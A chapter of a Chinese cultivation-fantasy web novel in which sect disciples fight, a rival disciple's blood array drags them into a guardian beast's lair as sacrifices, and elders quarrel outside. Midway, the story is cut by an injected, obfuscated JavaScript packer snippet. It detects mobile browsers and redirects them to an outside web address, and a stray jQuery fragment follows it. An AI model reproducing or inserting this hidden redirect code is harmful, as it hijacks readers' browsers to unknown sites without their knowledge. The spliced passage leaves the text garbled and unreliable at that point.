武茂明擦了擦嘴角溢出的血,如鹰般锐利的眼眸紧紧锁住李见水,喘着粗气问道:
“无相道君的首徒么?”
陈善舟下意识挡在李见水面前,惹得身旁的明苏嗤笑一声。
武茂明见状,也顾不得此时占得下风,稳住身形后便继续出言讽刺李见水:
“听闻道友是世间难得一遇的五灵根,自诩是青云宗的天才,可方才我为何未见你出招?”
闻言,李见水有些诧异。
她何时自诩过是青云宗天才了?
想必又是旁人在灵网上说了什么,李见水细细想过一番后便不再计较,她本也不想和这些后辈扯嘴皮子。
她这样宽容大度的风范落在他人眼中,却成了怯懦畏缩,明苏最是看不惯她这样,立刻站到她身前维护道:
“对付你们何须她出手?我一个就够了!”
武茂明被她这态度气得差点跳脚:
“嚣张!狂妄!”
二人说了没两句,又开始对打。
明苏的符箓跟不要钱似的往武茂明身上甩,后者自然不甘示弱,手中的法器一个接一个地冒出来,看这架势像是要把明苏往死里打。
流华宗的其他两位弟子闪到明苏身后,想趁着她不注意偷袭,却在手中法器砸出去的那一刻被一颗小石子弹飞。
“谁!”
他们双双回头,目光锁定站在原地一脸平静的李见水,她的手中还捏着一块石子。
李见水朝他们笑了笑,一本正经地解释:
“我不过是攻其不备罢了。”
语气中带着丝丝暗讽,搞偷袭的二人自然能听出来,顿时脸色一个比一个难看。
因为,他们手中的法器再怎么说也比一颗小石子的品阶要高,可方才偏偏让石子打断了攻击,这无疑是在啪啪打他们的脸!
“这李见水的修为绝对在我们之上,可能到了筑基后期,否则她绝不可能用一颗石子就将我二人的法器弹开!”
其中一个人信誓旦旦地说道,同时对李见水的态度瞬间变得格外警惕。
此时李见水的注意早被分散了去,她皱眉看着不远处对打的明苏和武茂明,这两人出的招分明就是把对方往死里打。
这么打下去,必定会出事。
“小心!”
突然,耳边响起一道冰冷的男声,下一秒一把剑就横亘在她侧边,替她挡住了飞来的暗器。
陈善舟抬眸去看,见流华宗一弟子露出诧异之色,很快便知晓了投掷暗器的是何人。
“这流华宗当真阴险!”
陈善舟说着,甩出一道剑意,直逼那名弟子的命门,却又在关键时刻停下。
可那道剑意散发的寒气,已足够令周围弟子分外胆寒。
武茂明见状,立即出声斥责陈善舟:
“你们青云宗弟子才是最阴险的,他们并未参与我们之间的决斗,缘何攻击?”
陈善舟弯腰拾起暗器,眼眸凝霜。
“是啊,并未参与,缘何攻击?”
这一切都是武茂明授意的,没成想居然这么快便被揭穿了,他面子上有些挂不住。
见青云宗弟子和明苏皆在用鄙夷不屑的眼神看着他,武茂明彻底恼羞成怒。
他将手中的法器重重砸向地面,在所有人来不及反应时划破自己的手指,将血滴入法器中。
李见水看着这一幕觉得格外熟悉,隔了几秒她方才想起这是什么。
“他在布阵借法。”
李见水轻声说道。
“借的还是元婴修士的修为,媒介便是他手中的这个法器。看来流华宗此行并非单纯的为弟子寻得机缘,而是另有目的啊。”
陈善舟还没问什么,他识海中的温知屿就已经吵闹起来:
“这人是想借元婴期修士法力一用,至于用在什么方面……若是只想借此除掉你们有些大材小用了,所以他是想催动什么。”
李见水闻言,被他点醒,也察觉到了武茂明的真正用意。
此时武茂明抬眼看向他们,突然露出一个极为阴险的笑容,随后他的脚底下生出一个巨大的血阵,其上有元婴修士的禁制!
“借此法移形换位?”
李见水望向四周,惊觉他们周围竟生起了浓厚的妖雾,而他们的意识也险些陷入混沌。
李见水立刻喊道:“不好!我们被他拉进了雾山中心,雾隐镇守之处!”
话音刚落,头顶便响起一道凄厉的叫声。
众人抬头望去,只见那身躯庞大的山妖早已归返,此时双眼猩红,虎视眈眈地看着他们。
这些都是筑基期的修士,平日里本就鲜少下山历练,此时一下便撞见一只镇守妖兽,他们心中自然慌乱无比。
因为他们擅自闯入,雾隐此刻变得极为暴躁,它对天怒吼一声,随后便飞扑过来——
弟子们四散逃开,有几位还是被山妖的妖气震慑到,摔在不远处的石壁上。
“快跑!”明苏大喊一声,转身就想往外跑去,可眼前这片妖雾却将她的去路彻底堵死。
她回头找到武茂明的位置,对着那个方向厉声质问道:
“你给我说清楚,你到底做了什么?!”
武茂明自然不会承认,他在来之前被宗门长老叫住临时学了一个阵法,此法可暂时借用元婴期长老的修为一用。
而用此法的目的便是为了寻得雾山至宝。
据说只要行至雾山中心,再抵押上几名筑基期修士的性命来喂饱镇守妖兽雾隐,便可令至宝显现。
方才的挑衅,一方面是真想抢见仙草,另一方面则是为了方便启动阵法。
如今看来,他的目的已经达成,到时候这雾山的至宝非他莫属!
“你快说啊!武茂明!你哑巴了吗!”
武茂明承受着元婴期的法力,自己的意志正在被一点点蚕食,他幻想着自己得到至宝后名震天下的情景,声音低沉道:
“呵呵……自然是拿你们献祭啊。”
明苏皱眉:“你说什么?”
武茂明还未说话,雾隐再次发起攻击,一爪子拍到明苏身上!
明苏快速躲开,此时她也顾不上质问武茂明了,从山妖手中活下来才是最重要的。
月恒之跌跌撞撞跑到李见水身边,神色慌乱地看着她说道:
“我们这次闯进了山妖的老巢,它现在定是气疯了,得赶紧捏碎玉牌,否则我们今日恐怕都得命丧于此!”
“我自是清楚,可这里被人设了结界,恐无法强行脱离雾山。”
李见水能感受到结界的气息,布下结界的至少是元婴后期修士,哪怕掌门和燕长老能强行破除结界,这里的弟子多多少少也会有伤亡。
山妖像是被什么东西蛊惑住,早已失去了理智,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17417717|195768||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抓住一名弟子就用利爪刺穿他的心脏,而后将尸体随意扔在一旁。
此处皆为筑基期修士,根本不是这种镇守妖兽的对手!
李见水看着眼前这般凄惨的景象,一只手背在身后,凝水成剑。
若再不阻止,这群弟子皆会命丧于此!
就在这时,她手中凝成的三千剑忽地被震碎,紧接着地面开始剧烈晃动,李见水的脚下出现了一条裂缝!
她惊了一瞬,心中暗道不好,下一刻便掉入地下的无尽深渊中。
……
雾山之外。
燕天语看着水镜中消失的众人和诡异的妖雾,不禁皱眉看向流华宗的长老。
“流华宗真是打得一手好算盘,雾山之行中硬是把移形阵变作了邪阵。”
燕天语语气冰冷,神情更是恨不得要立刻杀了那位长老一样。
流华宗长老装傻充愣,仿佛此事与他无关:
“本座听不懂燕长老此话何意。”
燕天语彻底被激怒了,她重重地拍了一下桌子,化神期的威压瞬间向他袭去。
“为了所谓至宝便要献祭弟子,你除了想和青云宗结仇,更是要和整个修真界作对。流华宗的胆子,可比我想象得还要大。”
说着,她侧目看向身旁的白澈。
对方依旧是那种无悲无喜的模样,好似上界的仙人,不为任何事所扰。
青云宗的弟子生死不明,身为掌门的他却丝毫不慌,此番作为惹得燕天语心中怒火更甚。
燕天语不愿再多耽搁,抬手便强行破阵。可当她打破结界后,却发现雾隐的洞穴早已空荡荡,没有一丁点人影,只剩残余妖气。
燕天语回头,目光如同利刃,狠狠钉在流华宗长老的身上。
“事情解决之后,本座定会收拾你!”
其余宗门的掌门或是长老倒还算镇定,毕竟失踪的是青云宗与流华宗的弟子,并未波及自己门下弟子。
尽管如此,他们看向流华宗长老的眼神依旧带了几分戒备与鄙夷。
流华宗行事向来阴险狡诈,惯于在背后算计谋私,可众人从未想到他们竟然敢公然在雾山秘境中做出此等歹毒之事。
难不成流华宗坚信行此事可获至宝,而至宝又能保他们宗门安然无恙么?
就在此时,流华宗长老发话了:
“是本座对门下弟子疏于教导,竟让他学了此等邪术!若是他能活着从雾山出来,本座定然会狠狠惩戒他一番!”
“……”
众仙门没想到这流华宗竟将所有过错推到其弟子一人身上,一时间竟不知说些什么好。
燕天语没搭理他,只紧紧盯着水镜。
她欲动身前往雾山深处,却没想一直端坐上方并未发话的仙盟之主出声阻止了她:
“少安毋躁,此次变故乃仙门弟子之机缘,各宗主长老还是莫要插手过多为好。”
仙盟之主乃化神中期修士,是除却无相道君外,最有希望飞升上界之人。
若是她发话,仙门百家必会遵守。
然而燕天语担忧门下弟子安危,此时根本顾不上她,冷哼一声后,转瞬间便消失在原地。
仙盟之主看向白澈,冷声道:
“无相道君,这便是你青云宗的作风么?”
白澈连半分眼神都未施舍给她,沉默几息后,也随燕天语一起消失在原地。